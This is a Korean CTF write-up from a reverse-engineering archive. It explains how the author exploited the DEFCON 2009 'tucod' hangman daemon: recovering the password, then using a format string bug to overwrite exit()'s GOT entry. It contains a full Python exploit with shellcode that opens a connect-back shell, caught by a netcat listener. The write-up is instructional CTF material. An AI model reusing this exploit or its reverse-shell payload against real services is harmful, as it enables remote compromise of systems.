국내 리버스엔지니어링 관련 문서들을 모은 Archive 입니다.

author : 박찬암 
aka : hkpco 
WebSite : http://hkpco.kr 
Source : http://hkpco.kr/paper/defcon_ctf_09_tucod_by_hkpco.txt 

---------------------------------------------------
DEFCON 2009 Capture The Flag 본선 문제 풀이 - tucod



by hkpco(박찬암)
============================
mail - hkpco@korea.com
homepage - http://hkpco.kr/
group - wowhacker&wowcode
date - 2009. 08. 07
============================
---------------------------------------------------



1. [Before]

올해 부터는 기존 CTF의 운영을 담당해오던 kenshoto가 물러나고 ddtek이 새로운 운영진으로 선정되었다. 덕분에 전체적인 운영에
대한 방식이나 각 문제 개별의 스타일 혹은 수준 등에 어느정도 변화가 있었다. 본 문서에서는 tucod 바이너리에 대한 풀이를 기술
할 것이며, IDA의 disassemble 결과를 통하여 진행하고자 한다. 특정 공격 기술에 대한 상세 설명이나 일반적인 루틴의 분석 혹은
익스플로잇 당시의 시행착오 등과 같은 부가적인 설명은 되도록 제외하고 핵심적인 내용을 위주로 기술해 나갈 것이다.




2. [Solution]

file 명령을 통하여 대상 바이너리의 간략한 정보를 확인하였다.

---------------------------------------------------------------------------------------------------------------------------
$ file tucod
tucod: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs),
FreeBSD-style, stripped
---------------------------------------------------------------------------------------------------------------------------


동적 컴파일된 FreeBSD 7.2 바이너리이며, 디버깅 정보는 제거되어 있는것을 확인할 수 있다.
데몬 서버의 포트 번호는 간단한 분석을 통하여 쉽게 확인할 수 있으므로 생략하고, 우선 서버로 접속하여 보자.

--------------------
$ nc localhost 57005
Password: hkpco_test
--------------------


패스워드를 입력받는 것을 볼 수 있으며, 위와 같이 일치하지 않을 경우 종료한다. 이에 대한 루틴은 다음에서 볼 수 있다.

>>>
.text:08049C10 push ebp
.text:08049C11 mov ebp, esp
.text:08049C13 sub esp, 28h
.text:08049C16 mov [esp+28h+var_24], offset aPassword ; "Password: "
.text:08049C1E mov eax, [ebp+arg_0]
.text:08049C21 mov [esp+28h+var_28], eax
.text:08049C24 call sub_8048F60
// 소켓을 통하여 "Password: " 문자를 전송

.text:08049C29 mov [esp+28h+var_1C], 0Ah
.text:08049C31 mov [esp+28h+var_20], 0FFh
.text:08049C39 mov [esp+28h+var_24], offset byte_804B380
.text:08049C41 mov eax, [ebp+arg_0]
.text:08049C44 mov [esp+28h+var_28], eax
.text:08049C47 call sub_8048E20
// 소켓을 통하여 버퍼에 255byte 입력

.text:08049C4C mov [ebp+var_4], eax
.text:08049C4F cmp [ebp+var_4], 0
.text:08049C53 jg short loc_8049C61
.text:08049C55 mov [ebp+var_14], 0
.text:08049C5C jmp loc_8049CFC
.text:08049C61 ; ---------------------------------------------------------------------------
.text:08049C61
.text:08049C61 loc_8049C61: ; CODE XREF: sub_8049C10+43 j
.text:08049C61 mov eax, [ebp+var_4]
.text:08049C64 mov ds:byte_804B380[eax], 0
.text:08049C6B mov [esp+28h+var_24], offset aHangemhigh ; "HANGEMHIGH!"
.text:08049C73 mov [esp+28h+var_28], offset byte_804B380
.text:08049C7A call _strcmp
// 입력한 값이 HANGEMHIGH! 인가를 비교
<<<


strcmp() 함수의 비교 루틴을 통하여 데몬의 패스워드는 "HANGEMHIGH!"인것을 확인할 수 있다.
아래는 찾아낸 패스워드로 접속을 시도한 결과이다.

---------------------------------------
$ nc localhost 57005
Password: HANGEMHIGH!
Welcome to Hangman Blondie!
What is your name? ChanAm
Nice to meet you ChanAm prepare to die!

---
| |
|
|
|
|
-----
| |

used: ""
available: "abcdefghijklmnopqrstuvwxyz"

current: _________

Your guess: a
.
.
.
Your guess: z

---
| |
O |
/|\|
| |
/ \|
-----
| |


Blondie, you missed, Tuco has hanged.
The correct word is: lengthily.
Play again (y/n)? n
---------------------------------------


입력받는 내용은 "패스워드, 이름, 추측 문자, 게임 재실행"으로 총 4가지 종류가 존재한다.
그 중, 이름을 입력받는 루틴을 살펴보도록 하자.

>>>
.text:080496D0 push ebp
.text:080496D1 mov ebp, esp
.text:080496D3 sub esp, 38h
.text:080496D6 mov [esp+38h+var_34], offset aWhatIsYourName ; "What is your name? "
.text:080496DE mov eax, [ebp+arg_0]
.text:080496E1 mov [esp+38h+var_38], eax
.text:080496E4 call sub_8048F60
// 소켓을 통하여 "What is your name? " 문자를 전송

.text:080496E9 mov [esp+38h+var_2C], 0Ah
.text:080496F1 mov [esp+38h+var_30], 10h
.text:080496F9 lea eax, [ebp+var_18]
.text:080496FC mov [esp+38h+var_34], eax
.text:08049700 mov eax, [ebp+arg_0]
.text:08049703 mov [esp+38h+var_38], eax
.text:08049706 call sub_8048E20
// 취약한 함수에 이용될 버퍼의 데이터를 입력받는 루틴

.text:0804970B mov [ebp+var_4], eax
.text:0804970E cmp [ebp+var_4], 0
.text:08049712 jg short loc_8049720
.text:08049714 mov [esp+38h+var_38], 0
.text:0804971B call _exit
.text:08049720 ; ---------------------------------------------------------------------------
.text:08049720
.text:08049720 loc_8049720: ; CODE XREF: name_recv+42 j
.text:08049720 mov eax, [ebp+var_4]
.text:08049723 mov [ebp+eax+var_18], 0
.text:08049728 mov [esp+38h+var_34], offset aNiceToMeetYou ; "Nice to meet you "
.text:08049730 mov eax, [ebp+arg_0]
.text:08049733 mov [esp+38h+var_38], eax
.text:08049736 call sub_8048F60

.text:0804973B lea eax, [ebp+var_18]
.text:0804973E mov [esp+38h+var_34], eax
.text:08049742 mov eax, [ebp+arg_0]
.text:08049745 mov [esp+38h+var_38], eax
.text:08049748 call sub_8048F60
// 취약성 발생 지점

.text:0804974D mov [esp+38h+var_34], offset aPrepareToDie ; " prepare to die!\n"
.text:08049755 mov eax, [ebp+arg_0]
.text:08049758 mov [esp+38h+var_38], eax
.text:0804975B call sub_8048F60
.text:08049760 leave
.text:08049761 retn
.text:08049761 name_recv endp
<<<


이름을 입력받은 다음 sub_8048F60 함수를 호출하는것을 볼 수 있다.
해당 함수의 루틴은 다음과 같다. 중요한 루틴만을 살펴보도록 하겠다.

>>>
.text:08048F60 push ebp
.text:08048F61 mov ebp, esp
.text:08048F63 sub esp, 28h
.text:08048F66 mov [ebp+var_4], 0
.text:08048F6D mov [ebp+var_8], 0
.text:08048F74 lea eax, [ebp+arg_8]
.text:08048F77 mov [ebp+var_C], eax
.text:08048F7A mov eax, [ebp+var_C]
.text:08048F7D mov [esp+28h+var_20], eax

.text:08048F81 mov eax, [ebp+arg_4]
.text:08048F84 mov [esp+28h+var_24], eax
// 앞서 우리가 입력한 내용이 저장된 버퍼

.text:08048F88 lea eax, [ebp+var_8]
.text:08048F8B mov [esp+28h+var_28], eax
// send() 함수의 인자로 전달할 버퍼

.text:08048F8E call _vasprintf
.
.
.text:08048FA8 mov eax, [ebp+var_8]
.text:08048FAB mov [esp+28h+var_20], 0
.text:08048FB3 mov [esp+28h+var_24], eax
.text:08048FB7 mov eax, [ebp+arg_0]
.text:08048FBA mov [esp+28h+var_28], eax
.text:08048FBD call sub_8048EA0
.text:08048FC2 mov [ebp+var_4], eax
// vasprintf() 함수를 통하여 저장된 버퍼를 위 함수의 인자로 전달(소켓 send 수행)
<<<


위 루틴에서 포멧 스트링 버그(Format String Bug, 이하 FSB)가 발생하게 되며, 이를 간단한 pseudo-code로 나타내면 다음과 같다.

------------------------------------------------------------------------------------------------------
recv( sockfd, buffer_1, size );
// 소켓을 통해 임의의 데이터 입력

vsaprintf( buffer_2, buffer_1, ... );
// 입력받은 데이터와 주어진 스트링을 결합할 목적으로, vsaprintf() 함수를 통해 buffer_2에 종합하여 저장

send( sockfd, buffer_2, size );
// 저장된 내용을 소켓으로 전송
------------------------------------------------------------------------------------------------------


주석에서 설명한 것과 같이 vsaprintf() 함수는 바이너리 내부에 지정된 스트링과 사용자 임의의 문자열을 결합하여 전송하여 줄
목적으로 이용되었으며, 이 과정에서 해당 함수의 사용 중에 %s, %x 등과 같은 포멧 스트링이 제대로 적용되지 않아서 FSB 취약성이
발생하게 되는 것이다. 이제 해당 취약성을 이용하여 공격 코드를 구성하면 되겠지만, 그에 앞서 한 가지 문제가 있다. 다음과 같다.

>>>
.text:080496E9 mov [esp+38h+var_2C], 0Ah
.text:080496F1 mov [esp+38h+var_30], 10h
// 16byte 입력

.text:080496F9 lea eax, [ebp+var_18]
.text:080496FC mov [esp+38h+var_34], eax
.text:08049700 mov eax, [ebp+arg_0]
.text:08049703 mov [esp+38h+var_38], eax
.text:08049706 call sub_8048E20
// sub_8048E20는 소켓을 통해 특정 바이트만큼 입력을 받는 일반적인 함수
<<<


위는 취약한 함수에 전달하기 위한 버퍼의 데이터를 입력받는 루틴으로 앞서 이미 보여주었다. 여기서 문제점은 공격 코드를
구성할 버퍼의 크기가 16byte밖에 되지 않는다는 것이다. 일반적으로 해당 크기에 맞추어서 공격 코드를 구성하기가 불가능한
것은 아니지만 이러한 공격의 성공 여부를 결정짓는 데에는 여러가지 환경적 요소가 많이 따른다. 실제로 $-flag 등의 다양한
트릭을 이용하여 공격을 시도해 보았지만, 간소한 오프셋 상의 문제 때문에 공격이 제대로 성립되지 않았다.

조금 더 전체적인 시각에서 수행되는 루틴을 살펴보게되면 다시금 또 다른 취약성을 발견할 수 있는데, 직접 루틴을 살펴볼 수도
있겠지만 여기서는 간단하게 게임이 한 번 끝난 이후에 다음과 같은 실행상의 특징을 관찰하는 것으로 확인하도록 하겠다.

---------------------------
.
.
The correct word is: ripen.
Play again (y/n)? y
New Player (y/n)? y

What is your name?
// 취약한 함수 재 실행
---------------------------


위와 같이 게임을 재시작하게 되면 새로운 플레이어의 생성 유무를 선택할 수 있게 된다. y를 입력한 다음 취약한 함수를 한번 더
수행하여 새로운 이름을 입력받을 수 있게 되고, 이는 공격 코드를 여러 루틴에 걸쳐서 16byte 단위로 분할하여 원하는 크기만큼
구성할 수 있다는 말이 된다. 그럼 이제, 취약한 함수를 한번 더 수행하기 위하여 즉, 게임을 한번 더 수행하기 위해 기존의 게임을
정상적으로 마쳐야 하는데, 이를 위해서 바이너리의 해당 루틴을 일일이 분석할 필요는 없다. 게임을 조금만 살펴보면 모든 알파벳
소문자를 입력 받을 수 있도록 되어있으며, 특정 횟수까지 입력받아서 답을 맞추거나 혹은 그 안에 못 맞추게 될 경우 게임이 끝난
뒤 재시작 할 것인지를 묻는 메시지가 나오게 된다. 그래서 모든 알파벳을 대상으로 게임의 재시작을 묻는 메시지가 나올 때 까지
입력을 진행하면 된다.

다음으로 return address 등의 EIP 변조가 가능한 주소 값을 공략해야 하며, 이는 다음 루틴에서 찾을 수 있다.

>>>
.text:08049BB2 mov [esp+28h+var_24], offset aInvalidGuessGo ; "Invalid guess, goodbye.\n"
.text:08049BBA mov eax, [ebp+arg_0]
.text:08049BBD mov [esp+28h+var_28], eax
.text:08049BC0 call sub_8048F60

.text:08049BC5 mov [esp+28h+var_28], 0
.text:08049BCC call _exit
<<<


알파벳을 추측하는 입력 루틴에 한 문자를 초과하거나 알파벳 범위를 벗어나는 입력을 할 경우 위와 같이 exit() 함수를 통하여
접속한 클라이언트의 데몬 프로세스를 종료하게 된다.

이제, exit() 함수의 Global Offset Table(이하 GOT)을 쉘코드가 저장되어진 주소로 변환한 다음 위 루틴을 유도하여 원하는 코드를
실행 시키도록 공격 코드를 구성할 것이다. exit() 함수의 GOT은 다음과 같이 구할 수 있다.

---------------------------------------------
# objdump -R tucod

tucod: file format elf32-i386-freebsd

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804b360 R_386_COPY __mb_sb_limit
0804b364 R_386_COPY _CurrentRuneLocale
0804b2ac R_386_JUMP_SLOT setuid
0804b2b0 R_386_JUMP_SLOT seteuid
...
0804b330 R_386_JUMP_SLOT exit
...
---------------------------------------------


쉘코드를 저장할 수 있는 공간은 다음 루틴의 분석을 통하여 확보할 수 있다.

>>>
.text:08049C16 mov [esp+28h+var_24], offset aPassword ; "Password: "
.text:08049C1E mov eax, [ebp+arg_0]
.text:08049C21 mov [esp+28h+var_28], eax
.text:08049C24 call sub_8048F60
// 소켓을 통하여 "Password: " 문자열 전송

.text:08049C29 mov [esp+28h+var_1C], 0Ah
.text:08049C31 mov [esp+28h+var_20], 0FFh
.text:08049C39 mov [esp+28h+var_24], offset byte_804B380
.text:08049C41 mov eax, [ebp+arg_0]
.text:08049C44 mov [esp+28h+var_28], eax
.text:08049C47 call sub_8048E20
// 0804B380h 주소 공간에 0FFh(255byte) 크기만큼 입력
<<<


위와 같이, 데몬 초기에 패스워드를 입력받는 루틴에서 쉘 코드의 저장을 위한 상대적으로 여유로운 공간을 확보할 수 있다.
하지만 해당 공간은 패스워드 입력 및 비교에 쓰이기 때문에 다음과 같이 데이터를 구성해야 한다.

--------------------------------
[Password][Null_Byte][Shellcode]
--------------------------------


이후, 패스워드는 strcmp() 함수를 통하여 비교가 이루어지므로 대부분의 문자열 관련 함수가 null_byte를 끝으로 인지하는 특성상
해당 비교는 무사히 통과할 수 있게 된다. 그 다음, 쉘 코드가 저장된 주소는 패스워드와 null_byte 만큼의 오프셋이 더해진 위치가
되어야 할 것이다.

이로써 공격을 위한 최종 Payload는 다음과 같다.

=============================================================================================
1> [Password][Null_Byte][Shellcode]
2> exit 함수의 상위/하위 2byte를 shellcode가 위치한 주소의 상위/하위 2byte로 덮는 FSB 코드_1
3> 게임 재시작 메시지가 나올 때 까지 알파벳 a-z를 입력
4> 재시작 메시지가 나왔다면, y를 입력
5> 새로운 플레이어를 원하는 질문 메시지가 나왔다면, y를 입력
6> exit 함수의 상위/하위 2byte를 shellcode가 위치한 주소의 상위/하위 2byte로 덮는 FSB 코드_2
7> 게임 비정상 종료를 위한 문자열 입력
=============================================================================================


다음은 해당 공격 코드를 기반으로 만들어진 익스플로잇을 실행한 결과이다.

----------
TERMINAL 1
---------------------------
$ python tuco_exp.py
Password:
Welcome to Hangman Blondie!

What is your name?
[+] alphabet(a)
[+] alphabet(b)
[+] alphabet(c)
[+] alphabet(d)
[+] alphabet(e)
[+] alphabet(f)
[+] alphabet(g)
[+] alphabet(h)
[+] alphabet(i)
New Player (y/n)?
What is your name?
Nice to meet you 0
...
[+] exploit exit
---------------------------

----------
TERMINAL 2
-----------------------------------------------
$ nc -l 7777
id
uid=1006(tuco) gid=1006(tuco) groups=1006(tuco)
-----------------------------------------------

성공적으로 공격이 수행된 것을 확인할 수 있다.




3. [Exploit]

익스플로잇은 Python으로 간단히 작성되었으며, 세련된 코딩 기법은 전혀 고려하지 않았다. 코드의 중간 중간에 지연시간을 준 것은
원격 서버에서 통신이 늦어질 때 전송한 데이터가 한 번에 전달되지 못할 경우를 위해서이다. 참고로 telnetlib 모듈을 사용하면
코딩이 더 편해지겠지만, 이로는 정상적인 통신이 진행되지 않는다.

- tuco_exp.py -

# tucod exploit by hkpco
from socket import *
import time

target = '192.168.40.26'
port = 57005

pay_name = "HANGEMHIGH!" + "\x00" + "\x90"*64 + "\xb8\x67\x25\x8b\x3b\x2b\xc9\xb1\x11\xdb\xc8\xd9\x74\x24\xf4\x5f\x31\x47\x0e\x03\x47\x0e\x83\x88\xd9\x69\xce\x3e\xe2\xc6\x19\xa4\x8a\xe9\x58\xc6\x2b\x9f\xba\xc7\x6b\xcf\x2e\x26\x06\xf2\xc4\x38\x66\x93\xd5\xb8\xd1\x04\xb6\xd2\xbf\xfc\xfb\xa2\x10\x97\x59\xfa\x5d\xe7\xa1\xb5\xb5\x91\xab\x21\x69\x4d\x27\xd9\x1d\xbe\xa5\x70\xb0\x49\xca\xd2\x18\x19\x5d\x62\x9b\x50\xdd" + "\n"
pay_a = "\x32\xb3\x04\x08" + "%2048c%7$hn" + "\n"
pay_b = "\x30\xb3\x04\x08" + "%45980c%7$hn" + "\n"
# 0x0804b330 R_386_JUMP_SLOT exit

words = "abcdefghijklmnopqrstuvwxyz"

sockfd = socket( AF_INET, SOCK_STREAM )
sockfd.connect((target, port))

print sockfd.recv(10240)
sockfd.send(pay_name)
# 1

print sockfd.recv(10240)
sockfd.send(pay_a)
# 2

print sockfd.recv(10240)

for ch in words:
time.sleep(0.2)
sockfd.send(ch+'\n')

buffer = sockfd.recv(10240)
time.sleep(0.1)
buffer2 = sockfd.recv(10240)

if buffer.find('Play again') != -1 or buffer2.find('Play again') != -1:
time.sleep(0.2)
sockfd.send("y\n")

time.sleep(0.2)
buffer = sockfd.recv(1024)
print buffer

if buffer.find('New Player') != -1:
time.sleep(0.2)
sockfd.send('y\n')

time.sleep(0.2)
buffer = sockfd.recv(10240)
print buffer

sockfd.send(pay_b)
time.sleep(0.2)

sockfd.send("hk\n");
# abnormal exit

time.sleep(0.2)
print sockfd.recv(10240)
exit(-1)

print 'alphabet(' +ch+ ')'

print 'loop end'

  1. [2009/09/14] DEFCON 2008 Capture The Flag 본선 문제 풀이 - bakalakadakaChat_d
  2. [2009/09/14] Core Rootkit Technology for Linux Kernel 2.6
  3. [2009/09/14] vmsplice() system call 사용 설명과 예제
  4. [2009/10/08] DEFCON CTF 2009 Binary Leetness 100-500 Solutions / 박찬암
  5. [2009/09/14] Linux Kernel Memory Disclosure 취약성의 기초
List of Articles
번호 author aka 제목
37 김범연  ccibomb  Hooking SSDT 후킹 탐지기법 imagefile
36 이동수  alonglog  Hooking SSDT Hooking을 이용한 프로세스와 파일 숨기기 imagefile
35 장상근  Maxoverpro  Network SSH Brute-Force Login Attack 분석과 대응 imagefile
34 정지훈  binoopang  Binary Analysis Manual Binary Mangling with Radare imagefile
33 심준보  passket  PPT A Practice of Remote Code excution using cpu bug imagefile
32 정의진  eureka386  PPT Break the secure USB imagefile
31 김경수  kaspyxx  PPT The Way of Inject code to Process imagefile
30 crattack  crattack  Hooking detours와 iat hooking 사용하기 imagefile
29 이구호  lucid7  Operating System SEH Overflow imagefile
28 이용일  foryou2008  Binary Analysis Design and Implementation of Virtualized Code Protection For Anti-Reverse Engineering imagefile
27 박천성  ashine  UnPacking The Art of Unpacking (원저자: Mark Vincent Yason) imagefile
26 정혜성  정혜성  Manual ProcessExplorer Manual imagefile
25 정혜성  정혜성  Manual IceSword Manual imagefile
24 정혜성  정혜성  Manual TCPView Manual imagefile
23 정혜성  정혜성  Manual Autoruns Manual imagefile
22 김범연  ccibomb  Operating System DKOM 탐지기법 imagefile
21 안기찬  Externalist  Basic Reversing MFC Applications file
20 이강석  Certlab  Basic 인텔 메뉴얼을 이용하여 OPCODE를 어셈블리어 명령으로 변환하기 file
» 박찬암  hkpco  Binary Analysis DEFCON 2009 Capture The Flag 본선 문제 풀이 - tucod
18 박찬암  hkpco  Malware Analysis 777 DDoS 악성코드 분석 file
17 박찬암  hkpco  Basic Mem Jacking
16 안기찬  Externalist  Binary Analysis Reversing Binary500 (Defcon 2007) file
15 지현석  binish  Buffer Overflow Advanced BufferOverflow Attack Skill
14 지현석  binish  Network 네이트온(NateOn) 3.7.10.3(966) 로그인 과정 분석
13 지현석  binish  Hooking SetWindowsHookEx 후킹 제거
12 박찬암  hkpco  Basic Linux Kernel Memory Disclosure 취약성의 기초
11 박찬암  hkpco  Binary Analysis ActiveX 취약성 공격시의 Unicode Shellcode file
10 김연재  bl4ck3y3  Binary Analysis DEFCON 2009 Binary L33tness 100, EDB로 풀어보자 imagefile
9 박찬암  hkpco  Binary Analysis DEFCON 2008 Capture The Flag 본선 문제 풀이 - bakalakadakaChat_d
8 박찬암  hkpco  Basic Core Rootkit Technology for Linux Kernel 2.6

XE Login

OpenID Login